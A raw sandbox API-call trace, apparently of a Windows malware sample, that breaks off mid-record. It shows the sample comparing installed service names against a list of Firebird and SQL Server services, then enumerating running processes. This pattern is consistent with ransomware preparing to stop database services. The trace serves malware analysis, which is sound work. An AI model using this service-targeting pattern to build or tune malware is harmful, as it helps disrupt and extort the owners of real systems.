[0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0318.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0318.164] lstrlenW (lpString="DeviceAssociationService") returned 24 [0318.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0318.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0318.164] lstrlenW (lpString="Dhcp") returned 4 [0318.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0318.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0318.164] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0318.164] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0318.165] lstrlenW (lpString="Dnscache") returned 8 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0318.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0318.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0318.165] lstrlenW (lpString="DoSvc") returned 5 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0318.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0318.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0318.165] lstrlenW (lpString="DPS") returned 3 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0318.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0318.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0318.165] lstrlenW (lpString="DusmSvc") returned 7 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0318.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0318.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0318.165] lstrlenW (lpString="EventLog") returned 8 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0318.165] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0318.165] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0318.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0318.165] lstrlenW (lpString="EventSystem") returned 11 [0318.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0318.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0318.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0318.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0318.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0318.166] lstrlenW (lpString="FontCache") returned 9 [0318.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0318.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0318.166] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0318.166] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0318.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0318.166] lstrlenW (lpString="gpsvc") returned 5 [0318.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0318.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0318.166] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0318.166] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0318.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0318.166] lstrlenW (lpString="iphlpsvc") returned 8 [0318.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0318.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0318.166] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0318.166] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0318.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0318.166] lstrlenW (lpString="KeyIso") returned 6 [0318.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0318.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0318.168] lstrlenW (lpString="LanmanServer") returned 12 [0318.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0318.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0318.168] lstrlenW (lpString="LanmanWorkstation") returned 17 [0318.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0318.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0318.168] lstrlenW (lpString="lfsvc") returned 5 [0318.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0318.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0318.168] lstrlenW (lpString="lmhosts") returned 7 [0318.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0318.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0318.168] lstrlenW (lpString="LSM") returned 3 [0318.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0318.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0318.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0318.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0318.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0318.169] lstrlenW (lpString="MapsBroker") returned 10 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0318.169] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0318.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0318.169] lstrlenW (lpString="MpsSvc") returned 6 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0318.169] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0318.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0318.169] lstrlenW (lpString="NcbService") returned 10 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0318.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0318.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0318.169] lstrlenW (lpString="netprofm") returned 8 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0318.169] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0318.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0318.169] lstrlenW (lpString="NgcSvc") returned 6 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0318.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0318.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0318.169] lstrlenW (lpString="NlaSvc") returned 6 [0318.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0318.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0318.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0318.170] lstrlenW (lpString="nsi") returned 3 [0318.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0318.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0318.170] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0318.170] lstrlenW (lpString="PcaSvc") returned 6 [0318.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0318.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0318.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0318.170] lstrlenW (lpString="PlugPlay") returned 8 [0318.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0318.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0318.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0318.170] lstrlenW (lpString="Power") returned 5 [0318.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0318.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0318.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0318.170] lstrlenW (lpString="ProfSvc") returned 7 [0318.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0318.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0318.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0318.170] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0318.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0318.170] lstrlenW (lpString="RpcEptMapper") returned 12 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0318.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0318.171] lstrlenW (lpString="RpcSs") returned 5 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0318.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0318.171] lstrlenW (lpString="SamSs") returned 5 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0318.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0318.171] lstrlenW (lpString="Schedule") returned 8 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0318.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0318.171] lstrlenW (lpString="SecurityHealthService") returned 21 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0318.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0318.171] lstrlenW (lpString="SENS") returned 4 [0318.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0318.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0318.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0318.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0318.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0318.172] lstrlenW (lpString="ShellHWDetection") returned 16 [0318.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0318.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0318.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0318.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0318.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0318.172] lstrlenW (lpString="Spooler") returned 7 [0318.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0318.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0318.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0318.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0318.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0318.172] lstrlenW (lpString="SSDPSRV") returned 7 [0318.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0318.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0318.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0318.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0318.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0318.172] lstrlenW (lpString="StateRepository") returned 15 [0318.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0318.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0318.172] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0318.172] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0318.172] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f87510 | out: hHeap=0x6e0000) returned 1 [0318.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2ac [0318.176] Process32FirstW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0318.176] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0318.177] lstrlenW (lpString="System") returned 6 [0318.177] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0318.178] lstrlenW (lpString="smss.exe") returned 8 [0318.178] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0318.178] lstrlenW (lpString="csrss.exe") returned 9 [0318.179] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0318.179] lstrlenW (lpString="wininit.exe") returned 11 [0318.179] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0318.180] lstrlenW (lpString="csrss.exe") returned 9 [0318.180] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0318.181] lstrlenW (lpString="winlogon.exe") returned 12 [0318.181] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0318.181] lstrlenW (lpString="services.exe") returned 12 [0318.181] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0318.308] lstrlenW (lpString="lsass.exe") returned 9 [0318.308] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0318.309] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0318.309] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0318.310] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0318.310] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.310] lstrlenW (lpString="svchost.exe") returned 11 [0318.310] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.311] lstrlenW (lpString="svchost.exe") returned 11 [0318.311] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0318.312] lstrlenW (lpString="dwm.exe") returned 7 [0318.312] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.313] lstrlenW (lpString="svchost.exe") returned 11 [0318.313] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.314] lstrlenW (lpString="svchost.exe") returned 11 [0318.314] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.315] lstrlenW (lpString="svchost.exe") returned 11 [0318.315] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.315] lstrlenW (lpString="svchost.exe") returned 11 [0318.315] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.316] lstrlenW (lpString="svchost.exe") returned 11 [0318.316] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.317] lstrlenW (lpString="svchost.exe") returned 11 [0318.317] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.318] lstrlenW (lpString="svchost.exe") returned 11 [0318.318] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0318.319] lstrlenW (lpString="svchost.exe") returned 11 [0318.319] Process32NextW (in: hSnapshot=0x2ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, 